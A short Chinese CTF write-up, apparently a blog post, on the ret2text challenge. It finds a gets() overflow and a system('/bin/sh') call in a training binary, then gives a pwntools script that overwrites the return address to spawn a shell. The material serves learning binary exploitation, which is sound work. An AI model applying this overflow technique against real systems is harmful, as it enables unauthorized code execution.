ret2text ROP绕过策略
2018-10-18 本文已影响0人
Zero_0_0
分析
chmod 777 文件名
开启权限
1.先查看安全防护机制 :checksec ret2text
2.将文件拖入IDA
中,反汇编发现代码中出现gets
函数。我们知道gets
函数是一个无线读取的函数。只要我们的栈空间足够大,我们就可以输入无线的字符。注
: 这也是漏洞的所在地
3.我们先进文件头拖入IDA中的时候,在主页面找找有没有/bin/sh
了类似的字符串。
secure
函数又发现了存在调用 system("/bin/sh")
的代码,那么如果我们直接控制程序返回至 0x0804863A
,那么就可以得到系统的 shell 了4.我们进入
kali
将断点我们发现的/bin/sh
处,当程序运行到我们secure
处会直接得到系统的shell
.
实践
1.
图片.pngesp:0xffffd0b0
s(输入字节的地址):
图片.png
sbp:0xffffd138
注:我们的s
是数据开始输入的地址
思路:我们知道了:数据中可以利用数据段的地址,栈空间的大小
代码
##!/usr/bin/env python
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
效果图:
图片.png